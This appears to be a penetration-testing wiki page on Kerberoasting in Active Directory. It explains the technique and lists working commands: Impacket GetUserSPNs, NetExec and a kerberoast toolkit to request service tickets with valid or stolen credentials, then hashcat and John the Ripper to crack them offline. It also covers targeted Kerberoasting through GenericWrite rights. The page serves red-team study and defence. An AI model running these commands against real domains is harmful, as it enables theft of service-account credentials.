Kerberoast

MITRE ATT&CK™ Sub-technique T1558.003

Theory

When asking the KDC (Key Distribution Center) for a Service Ticket (ST), the requesting user needs to send a valid TGT (Ticket Granting Ticket) and the SPN (Service Principal Name) of the service wanted. If the TGT is valid, and if the SPN exists, the KDC sends the ST to the requesting user.

The ST is encrypted with the requested service account's NT hash. If an attacker has a valid TGT and knows a SPN for a service, he can request a ST for this service and crack it offline later in an attempt to retrieve that service account's password.

In most situations, services accounts are machine accounts, which have very complex, long, and random passwords. But if a service account, with a human-defined password, has a SPN set, attackers can request a ST for this service and attempt to crack it offline. This is Kerberoasting.

Practice

Unlike ASREProasting, this attack can only be carried out with a prior foothold (valid domain credentials).

UNIX-like

The Impacket script GetUserSPNs (Python) can perform all the necessary steps to request a ST for a service given its SPN and valid domain credentials.

# with a password
GetUserSPNs.py -outputfile kerberoastables.txt -dc-ip $KeyDistributionCenter 'DOMAIN/USER:Password'

# with an NT hash
GetUserSPNs.py -outputfile kerberoastables.txt -hashes 'LMhash:NThash' -dc-ip $KeyDistributionCenter 'DOMAIN/USER'

This can also be achieved with NetExec (Python).

netexec ldap $TARGETS -u $USER -p $PASSWORD --kerberoasting kerberoastables.txt --kdcHost $KeyDistributionCenter

Another alternative is the kerberoast pure-python toolkit.

python3 kerberoast spnroast kerberos+pass://"domain"\\"user":"password"@"target" -u "target_user" -r "realm"

Windows

Hashcat and JohnTheRipper can then be used to try cracking the hash.

hashcat -m 13100 kerberoastables.txt $wordlist

john --format=krb5tgs --wordlist=$wordlist kerberoastables.txt

Targeted Kerberoasting

If an attacker controls an account with the rights to add an SPN to another (GenericAll, GenericWrite), it can be abused to make that other account vulnerable to Kerberoast (see exploitation).

Controlling a member of the Account Operators group, targeted Kerberoasting can be conducted for the whole domain (see exploitation).

Resources

Kerberos in Active Directoryhackndo

How Attackers Use Kerberos Silver Tickets to Exploit SystemsActive Directory & Azure AD/Entra ID Security